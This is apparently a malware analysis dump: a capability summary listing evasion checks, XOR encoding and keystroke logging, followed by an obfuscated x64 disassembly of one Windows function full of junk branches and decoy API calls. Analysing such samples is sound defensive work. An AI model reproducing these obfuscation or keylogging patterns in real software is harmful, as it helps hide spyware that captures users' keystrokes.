Function at 0x140001010
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex on windows
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get file size
Get keyboard layout
Get system information on windows
Log keystrokes via polling

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x12ed8
call fcn.1400a8fa0
sub rsp, rax
mov eax, 0x527
mov word [rsp + 0x4c4], ax
mov dword [rsp + 0x1978], 0x578c
movsx eax, word [rsp + 0x4c4]
add eax, 0x54b
mov word [section..data], ax
movabs rax, 0x7889b5510a8710
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x35a8], rax
movabs rax, 0x7889b5510a8710
cmp qword [rsp + 0x35a8], rax
je 0x140001098
jmp 0x140001196
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x35b0], rax
movabs rax, 0x728df5e0d96afa
cmp qword [rsp + 0x35b0], rax
je 0x1400010d9
movabs rax, 0x7889b5510a8710
cmp qword [rsp + 0x35b0], rax
je 0x140001161
jmp 0x140001191
movabs rax, 0x7ea383c83e37d7
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov eax, dword [rsp + 0x1978]
mov dword [rsp + 0x197c], eax
cmp dword [rsp + 0x197c], 0x4e78
je 0x14000114b
cmp dword [rsp + 0x197c], 0x53e3
je 0x140001123
jmp 0x14000115f
movsx eax, word [section..data]
and eax, 0x4ec
mov word [rsp + 0x4c4], ax
mov rdx, qword [rsp + 0x35a0]
mov ecx, 0x5b
call fcn.1400a8950
jmp 0x14000115f
movsx eax, word [section..data]
xor eax, 0x31c
mov word [rsp + 0x4c4], ax
jmp 0x140001191
mov eax, dword [rsp + 0x1978]
mov dword [rsp + 0x1980], eax
mov byte [0x1400c9e90], 0x27
mov dword [rsp + 0x1984], 0x8b47
mov byte [rsp + 0x50], 0x79
mov dword [rsp + 0x1988], 0xdb11
jmp 0x140001278
mov eax, dword [rsp + 0x1980]
mov dword [rsp + 0x198c], eax
cmp dword [rsp + 0x198c], 0xbe2
je 0x140001264
cmp dword [rsp + 0x198c], 0x478e
je 0x1400011c7
jmp 0x140001278
movsx eax, word [rsp + 0x4c4]
shl eax, 0x4c
movsx ecx, word [section..data]
cmp eax, ecx
jg 0x14000124e
mov edx, 0x7a
mov rcx, qword [rsp + 0x35b8]
call qword [sym.imp.USER32.dll_SetWindowContextHelpId]
mov dword [rsp + 0x1990], eax
mov edx, 0x2f
mov rcx, qword [rsp + 0x35c0]
call qword [sym.imp.USER32.dll_GetClassLongW]
mov dword [rsp + 0x1994], eax
mov dword [rsp + 0x20], 0xea
mov r9d, 0x6f
mov r8d, 0xb4
mov edx, 0x66
mov rcx, qword [rsp + 0x35c8]
call qword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [rsp + 0x1998], eax
movzx ecx, word [rsp + 0x4c4]
call fcn.1400a7ed0
jmp 0x140001262
mov rax, qword [rsp + 0x35a0]
sar rax, 0x12
mov qword [rsp + 0x35a0], rax
jmp 0x140001278
movsx eax, word [section..data]
or eax, 0x557
mov word [rsp + 0x4c4], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x199c], al
cmp byte [rsp + 0x199c], 0x79
je 0x140001293
jmp 0x140001374
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x35d0], rax
movabs rax, 0x7889b5510a8710
cmp qword [rsp + 0x35d0], rax
je 0x1400012bc
jmp 0x140001347
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x35d8], rax
movabs rax, 0x7bb555a1168f3a
cmp qword [rsp + 0x35d8], rax
je 0x1400012e2
jmp 0x14000133a
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x19a0], al
cmp byte [rsp + 0x19a0], 0x33
je 0x1400012fa
jmp 0x140001326
mov dword [rsp + 0x1994], 0x5377
mov ecx, 0x9d
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rsp + 0x35e0], rax
movsx eax, byte [rsp + 0x50]
add eax, 2
mov byte [rsp + 0x50], al
jmp 0x14000133a
movsx eax, word [section..data]
sub eax, 0x30a
mov word [rsp + 0x4c4], ax
mov dword [rsp + 0x19a4], 0xcf14
jmp 0x140001367
movabs rax, 0x715907f790741d
mov rcx, qword [rsp + 0x35a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov dword [rsp + 0x19a8], 0xd592
jmp 0x1400013e4
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x19ac], al
cmp byte [rsp + 0x19ac], 0xbb
je 0x140001398
cmp byte [rsp + 0x19ac], 0xf7
je 0x1400013d8
jmp 0x1400013e4
imul eax, dword [rsp + 0x1980], 0x226e
cmp eax, dword [rsp + 0x1978]
jne 0x1400013c3
mov ecx, 0x64
call qword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov dword [rsp + 0x19b0], eax
call fcn.1400a7770
mov eax, dword [rsp + 0x1978]
add eax, 0x4fe1
mov dword [rsp + 0x1980], eax
jmp 0x1400013e4
movsx eax, byte [rsp + 0x50]
sub eax, 0x5f
mov byte [rsp + 0x50], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x35e8], rax
mov dword [rsp + 0x19b4], 0xc4a7
mov eax, dword [rsp + 0x1994]
mov dword [rsp + 0x19b8], eax
movabs rax, 0x7592b73a4c5abe
cmp qword [rsp + 0x35a0], rax
jl 0x140001482
movzx eax, byte [0x1400c9e90]
cmp eax, 0x15
jg 0x14000146d
mov r8d, 0xfe
mov edx, 0xb4
mov rcx, qword [rsp + 0x35f0]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x19bc], eax
movsx eax, byte [rsp + 0x50]
add eax, 0x15
mov byte [rsp + 0x50], al
mov rdx, qword [rsp + 0x35a0]
mov ecx, dword [rsp + 0x19b8]
call fcn.1400a8950
jmp 0x140001477
movabs rax, 0x7cacdc17dc1c80
mov dword [rsp + 0x19c0], 0xe365
lea rcx, [rsp + 0xdd28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x19c4], 0xa15c
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x35f8], rax
movabs rax, 0x7c71567fe2b145
cmp qword [rsp + 0x35f8], rax
je 0x1400014c1
jmp 0x140001528
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov eax, dword [rsp + 0x19b8]
mov dword [rsp + 0x19c8], eax
cmp dword [rsp + 0x19c8], 0xdee9
je 0x1400014f7
jmp 0x140001506
call qword [sym.imp.USER32.dll_GetKBCodePage]
mov dword [rsp + 0x19cc], eax
jmp 0x140001526
movabs rax, 0x7b6c44b7782544
mov rcx, qword [rsp + 0x35a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
jmp 0x140001574
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x19b8]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x1994]
jae 0x140001569
mov qword [rsp + 0x20], 0x17
mov r9w, 0x92
mov r8w, 0x62
mov edx, dword [rsp + 0x1980]
movzx ecx, byte [0x1400c9e90]
call fcn.1400a87f0
mov dword [rsp + 0x19d0], 0x795d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x3600], rax
mov dword [rsp + 0x19d4], 0xff51
movabs rax, 0x7282b8fc99e465
mov qword [rsp + 0x3608], rax
mov dword [rsp + 0x19d8], 0xef53
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.PolytopesIncredible_rightful
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3610], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.whittlingdejectdesirabilityTypeset
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3618], rax
mov eax, 0xf3f
mov word [rsp + 0x4c8], ax
movabs rax, 0x79ef2db0712224
cmp qword [rsp + 0x35a0], rax
jle 0x140001730
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x3620], rax
movabs rax, 0x752f2dca9ed183
cmp qword [rsp + 0x3620], rax
je 0x140001700
movabs rax, 0x7869c7634dd5b6
cmp qword [rsp + 0x3620], rax
je 0x140001687
jmp 0x14000172b
movabs rax, 0x7706fa265af3d9
cmp qword [rsp + 0x3608], rax
jae 0x1400016cf
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sar eax, 7
mov byte [rsp + 0x50], al
movsx eax, byte [rsp + 0x50]
and eax, 0x5a
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
call qword [sym.imp.USER32.dll_GetClipboardViewer]
mov qword [rsp + 0x35b8], rax
jmp 0x1400016fe
movzx eax, word [rsp + 0x4c8]
cmp eax, 0xc0
jne 0x1400016fe
movabs rax, 0x752b49b83d9a01
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
jmp 0x14000172b
mov r9d, 0x96
mov r8, qword [rsp + 0x3628]
lea rdx, [rsp + 0x19b8]
mov rcx, qword [rsp + 0x3630]
call qword [sym.imp.USER32.dll_RedrawWindow]
mov dword [rsp + 0x1998], eax
jmp 0x1400017f6
mov eax, dword [rsp + 0x1978]
movzx ecx, al
mov eax, dword [rsp + 0x19bc]
shl eax, cl
cmp eax, dword [rsp + 0x1980]
jg 0x1400017f6
movsx eax, word [rsp + 0x4c4]
add eax, 0x8f
movsx ecx, word [section..data]
cmp eax, ecx
jge 0x1400017f6
movzx eax, word [rsp + 0x4c8]
cmp eax, 0x296
jl 0x1400017f6
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sub eax, 0x6e
movsx ecx, byte [rsp + 0x50]
cmp eax, ecx
jg 0x1400017eb
lea rax, [rsp + 0x19b8]
mov qword [rsp + 0x3638], rax
mov dword [rsp + 0x19dc], 0x9eb9
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x19bc]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x1980]
je 0x1400017eb
movzx eax, word [rsp + 0x4c8]
cmp eax, 0x45d
jle 0x1400017eb
mov rdx, qword [rsp + 0x35a0]
mov ecx, dword [rsp + 0x19b8]
call fcn.1400a8950
mov dword [rsp + 0x19e0], 0x131b
lea rax, [rsp + 0x1980]
mov qword [rsp + 0x3640], rax
mov dword [rsp + 0x19e4], 0x6ea8
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x3648], rax
cmp dword [rsp + 0x19d4], 0x123f4
je 0x140001afa
movabs rax, 0x7ca5ba42a1e625
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movsx eax, word [section..data]
sub eax, 0x2b4
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x50]
sub eax, 0x67
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movsx eax, word [section..data]
sar eax, 1
mov word [rsp + 0x4c4], ax
movabs rax, 0x7505fcb18c1bc2
mov rcx, qword [rsp + 0x3608]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1980], eax
movabs rax, 0x7810752714a5d3
mov rcx, qword [rsp + 0x35a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x19e8], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1994], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x2d
mov byte [rsp + 0x50], al
movabs rax, 0x7307ca04908fea
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
lea rdx, [rsp + 0x3650]
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x19ec], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x50]
sub eax, 0x28
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movzx eax, word [rsp + 0x4c8]
sub eax, 0xe5b
mov word [rsp + 0x4c8], ax
movsx eax, byte [rsp + 0x50]
and eax, 0x49
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1994], eax
movabs rax, 0x72c5293ceefae5
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movsx eax, word [section..data]
sar eax, 0xb
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x19cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1994], eax
movsx eax, word [section..data]
shl eax, 0xf
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x19d4]
add eax, 0x71
mov dword [rsp + 0x19d4], eax
movsx eax, word [rsp + 0x4c4]
or eax, 0x5a9
mov word [section..data], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x3658], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x19f0], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x19cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x140001821
movsx eax, word [rsp + 0x4c4]
add eax, 0x563
movsx ecx, word [section..data]
cmp eax, ecx
jne 0x140001bc6
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x1994]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movabs rax, 0x778a7cef9238e9
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movzx eax, word [rsp + 0x4c8]
mov dword [rsp + 0x19f4], eax
cmp dword [rsp + 0x19f4], 0x328
je 0x140001bad
cmp dword [rsp + 0x19f4], 0x477
je 0x140001b7d
jmp 0x140001bc1
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x140001bc1
movsx eax, word [section..data]
sub eax, 0x31e
mov word [rsp + 0x4c4], ax
jmp 0x140001cae
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1980]
mov edx, dword [rsp + 0x19bc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140001cae
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x19f8], al
cmp byte [rsp + 0x19f8], 7
je 0x140001c10
jmp 0x140001c90
mov rax, qword [rsp + 0x3648]
cqo
movabs rcx, 0x72ed72e64dcee4
idiv rcx
cmp rax, qword [rsp + 0x35a0]
jne 0x140001c49
mov rcx, qword [rsp + 0x3660]
call qword [sym.imp.USER32.dll_CopyIcon]
mov qword [rsp + 0x3668], rax
jmp 0x140001c8e
movabs rax, 0x7792cc0ddbe839
mov rcx, qword [rsp + 0x3648]
xor rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x35a0]
jl 0x140001c8e
mov r8d, 6
mov rdx, qword [rsp + 0x3670]
mov rcx, qword [rsp + 0x35b8]
call qword [sym.imp.USER32.dll_GetClassNameW]
mov dword [rsp + 0x1978], eax
jmp 0x140001cae
mov rdx, qword [rsp + 0x3678]
mov rcx, qword [rsp + 0x3680]
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0x3630], rax
movsx eax, word [rsp + 0x4c4]
sar eax, 0x30
movsx ecx, word [section..data]
cmp eax, ecx
jle 0x1400a76f3
movzx eax, word [rsp + 0x4c8]
cmp eax, 0xd5
jl 0x1400a7686
movzx eax, word [rsp + 0x4c8]
sub eax, 0x69
cmp eax, 0x92b
jl 0x140001d69
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x19cc], eax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x19bc]
mov edx, dword [rsp + 0x1978]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140001d3d
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x71
mov byte [rsp + 0x50], al
jmp 0x140001d69
movzx eax, word [rsp + 0x4c8]
cmp eax, 0x3d1
jne 0x140001d69
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x19fc], al
cmp byte [rsp + 0x19fc], 0x27
je 0x140001d86
jmp 0x1400a7499
lea rax, [rsp + 0x4c4]
mov qword [rsp + 0x3688], rax
movzx eax, byte [0x1400c9e90]
cmp eax, 0x9a
je 0x1400a73f2
mov eax, dword [rsp + 0x1978]
mov dword [rsp + 0x19bc], eax
movabs rax, 0x7ed7f09f7c30e2
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x19cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1994], eax
mov eax, dword [rsp + 0x19dc]
add eax, 0xd0
mov dword [rsp + 0x19dc], eax
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
shl eax, cl
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c8]
xor eax, 0x938
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3648]
sar rax, 0x2d
mov qword [rsp + 0x35a0], rax
movzx eax, word [rsp + 0x4c8]
or eax, 0x30c
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movabs rax, 0x7b750fa0d49c53
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x3690], rax
cmp dword [rsp + 0x19dc], 0xa949
jbe 0x140001da8
cmp dword [rsp + 0x19d8], 0xeeea
jb 0x140002121
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movabs rax, 0x745df503f5bbd2
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4c4], ax
mov dword [rsp + 0xea30], 0x114
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov eax, dword [rsp + 0x19d8]
sub eax, 5
mov dword [rsp + 0x19d8], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x19cc], eax
mov eax, dword [rsp + 0x19cc]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0x3698], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3698]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movabs rax, 0x7c22076141be1d
mov rcx, qword [rsp + 0x35a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 0x16
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1a00], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
jmp 0x140001ed7
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [section..data]
cmp eax, ecx
jg 0x1400a734e
movsx eax, byte [rsp + 0x50]
shl eax, 0xe
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
cmp eax, ecx
jle 0x140002252
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1994]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x19cc]
mov edx, dword [rsp + 0x19b8]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x1400021d2
lea r9, [rsp + 0x35f0]
lea r8, [rsp + 0x3670]
mov edx, 0xc3
mov rcx, qword [rsp + 0x3630]
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
mov dword [rsp + 0x19b0], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4c8]
mov dword [rsp + 0x1a04], eax
cmp dword [rsp + 0x1a04], 0x36a
je 0x1400021fd
cmp dword [rsp + 0x1a04], 0x9ac
je 0x14000221f
jmp 0x14000224d
movabs rax, 0x720d94d315ce39
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
jmp 0x14000224d
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
add eax, 8
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x1994]
mov ecx, dword [rsp + 0x19cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x1400022e3
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x36a0], rax
movabs rax, 0x78051130fb6eba
cmp qword [rsp + 0x36a0], rax
je 0x140002278
jmp 0x1400022be
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov word [section..data], ax
mov r9d, 0x48
lea r8, [rsp + 0x35a0]
lea rdx, [rsp + 0x3628]
mov cx, 0x2a
call qword [sym.imp.USER32.dll_CharPrevExA]
mov qword [rsp + 0x36a8], rax
jmp 0x1400022e3
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x1a08], 0x1269b
movzx eax, word [rsp + 0x4c8]
mov word [rsp + 0x4cc], ax
movabs rax, 0x7efbfaacd88c83
mov rcx, qword [rsp + 0x3648]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x35a0]
jle 0x140002368
mov rcx, qword [rsp + 0x36b0]
call qword [sym.imp.USER32.dll_SetFocus]
mov qword [rsp + 0x35f0], rax
lea r9, [rsp + 0xe990]
mov r8d, 1
mov edx, 0x2f
mov rcx, qword [rsp + 0x36b8]
call qword [sym.imp.USER32.dll_InsertMenuItemW]
mov dword [rsp + 0x1990], eax
mov r9, qword [rsp + 0x3648]
movzx r8d, byte [rsp + 0x50]
movzx edx, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
call fcn.1400a8030
jmp 0x1400023b5
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sub eax, 0x27
movsx ecx, byte [rsp + 0x50]
cmp eax, ecx
jle 0x1400023b5
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x19b8], eax
mov dword [rsp + 0x1a0c], 0x6196
cmp dword [rsp + 0x19a8], 0xacd6
jbe 0x140002548
mov eax, dword [rsp + 0x19a8]
sub eax, 0xed
mov dword [rsp + 0x19a8], eax
mov eax, dword [rsp + 0x19bc]
movzx ecx, al
mov eax, dword [rsp + 0x1980]
sar eax, cl
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x19e8], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x50]
or eax, 0x72
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1978]
shl eax, cl
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
and eax, 0x33
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sub eax, ecx
mov word [section..data], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x4c4], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1a10], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x19e8], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movabs rax, 0x738256bcd0127f
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x19bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
